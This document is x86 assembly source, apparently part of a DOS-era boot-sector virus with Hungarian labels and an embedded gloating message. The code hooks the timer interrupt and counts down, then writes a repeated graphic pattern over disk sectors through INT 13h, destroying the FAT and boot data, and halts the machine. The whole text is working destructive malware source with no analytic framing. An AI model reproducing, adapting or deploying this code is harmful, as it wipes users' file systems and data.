tb12: db 0dfh,2,25h,2,0fh,1bh,0ffh,54h,0f6h,0fh,8,4fh,0,4
tb720: db 0d1h,2,25h,2,9,2ah,0ffh,50h,0f6h,0fh,4,4fh,80h,5
tb360: db 0dfh,2,25h,2,9,23h,0ffh,50h,0f6h,0fh,8,27h,40,3
tb14: db 0a1h,2,25h,2,12h,1bh,0ffh,60h,0f6h,0fh,4,4fh,0,7
int1e: dw 0,0,0,0,0,0,0,0
hdtbl: db 50h,0,1,2,50h,0,2,2,50h,0,3,2,50h,0,4,2,50h,0,5,2,50h,0,6,2,50h,0,7,2,50h,0,8,2,50h,0,9,2,50h,0,0ah,2,50h,0,0bh,2,50h,0,0ch,2,50h,0,0dh,2,50h,0,0eh,2
db 50h,0,0fh,2,50h,0,10h,2,50h,0,11h,2,50h,0,11h,2,50h,0,12h,2
dstbl: db 28h,0,1,2,28h,0,2,2,28h,0,3,2,28h,0,4,2,28h,0,5,2,28h,0,6,2,28h,0,7,2,28h,0,8,2,28h,0,9,2
mod2: db 0
mod1: db 0
beszur: push ax
push bx
push cx
push dx
push es
push ds
push di
push si
mov ax,201h
mov cx,0ah
mov bx,offset boot
mov dx,80h
push cs
pop es
pushf
push cs
call int13
mov es,cs:word ptr [szegm]
mov es:word ptr [mod2],0
jc hib
mov ax,cs:word ptr [boot]
cmp al,23h
jnz hib
mov es:byte ptr [mod2],ah
jmp hib
hib: mov es,cs:word ptr[szegm]
mov bx,offset kiiras
mov cx,offset kiirv-offset kiiras
mov al,es:[bx]
cmp al,20h
jnz hib1
cijk: mov al,es:[bx]
xor al,45h
mov es:[bx],al
inc bx
loop cijk
hib1: mov ch,25h
mov ah,4
int 1ah
jc friss
cmp cl,89h
jc friss
cmp ch,25h
jz bete
cmp dh,7
jnc bete
jmp nbete
friss: mov al,54h
out 43h,al
mov al,0ffh
out 41h,al
jmp nbete
bete: cmp es:byte ptr [mod2],2
jz nbete
mov ax,0
mov ds,cs:word ptr [szegm]
mov es,ax
mov ax,es:word ptr[70h]
mov ds:word ptr [tim+1],ax
mov ax,es:word ptr[72h]
mov ds:word ptr [tim+3],ax
mov ax,offset timer
mov es:word ptr [70h],ax
mov ax,cs:word ptr [szegm]
mov es:word ptr [72h],ds
nbete: pop si
pop di
pop ds
pop es
pop dx
pop cx
pop bx
pop ax
ret
szegm: dw 0,0
tim: db 0eah,0,0,0,0,0
szama: dw 28800
timer: pushf
push ax
push bx
push cx
push dx
push ds
push cs
pop ds
mov cx,2
mov bx,offset atir
mov al,cs:[bx]
cmp al,90h
jnz rwt
jmp reset
rwt: call ftr
jc rwe
loop rwt
jmp reset
rwe: pop ds
mov ax,cs:word ptr [szama]
dec ax
kii: mov cs:word ptr [szama],ax
jz gyilk1
pop dx
pop cx
pop bx
pop ax
popf
jmp tim
gyilk1: mov ax,28800
mov cs:byte ptr [mod1],1
inc ax
jmp kii
leol: mov bx,offset kiiras
mov cx,offset kiirv-offset kiiras
mov al,cs:[bx]
cmp al,20h
jz leol1
adla: mov al,cs:[bx]
xor al,45h
mov cs:[bx],al
inc bx
loop adla
leol1: push cs
pop ds
cmp cs:byte ptr [mod2],1
jz atu
irtas: mov si,offset graf
mov di,offset boot
mov cx,128
mov dl,4*9
push cs
pop es
push cs
pop ds
cld
cvgh: rep movsb
sub si,128
mov cx,128
dec dl
jnz cvgh
mov dx,180h
mov ax,309h
mov cx,2
mov bx,offset boot
pushf
push cs
call int13
mov dx,280h
mov ax,309h
mov cx,2
mov bx,offset boot
pushf
push cs
call int13
mov dx,0
mov ax,309h
mov cx,1
mov bx,offset boot
pushf
push cs
call int13
atu: mov si,offset kiiras
mov al,2
mov ah,0
int 10h
awqt: mov al,cs:[si]
cmp al,0
jz kie
mov ah,0eh
mov bx,0
push si
int 10h
pop si
inc si
jmp awqt
kie: cli
hlt
jmp kie
kiiras: db ' Haha,vírus van a gépben!!',0dh,0ah,'Ez egy eddig még nem közismert vírus. De hamarosan az lesz.'
db 0dh,0ah,'A neve egyszerüen töltögetö ',0dh,0ah,'Ezt a nevét onnan kapta, hogy'
db ' feltöltögeti a FAT-táblát kölönbözö alakzatokkal.',0dh,0ah
db 'Ez már meg is történt !!! ',0dh,0ah,0,0
graf: db 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32
db 32,01,01,01,01,01,01,32,32,01,01,01,01,01,01,32
db 01,32,32,32,32,32,32,01,01,32,32,32,32,32,32,01
db 01,32,01,32,32,01,32,01,01,32,01,32,32,01,32,01
db 01,32,32,32,32,32,32,01,01,32,32,32,32,32,32,01
db 01,32,01,01,01,01,32,01,01,32,01,01,01,01,32,01
db 32,01,32,32,32,32,01,32,32,01,32,32,32,32,01,32
db 32,32,01,01,01,01,32,32,32,32,01,01,01,01,32,32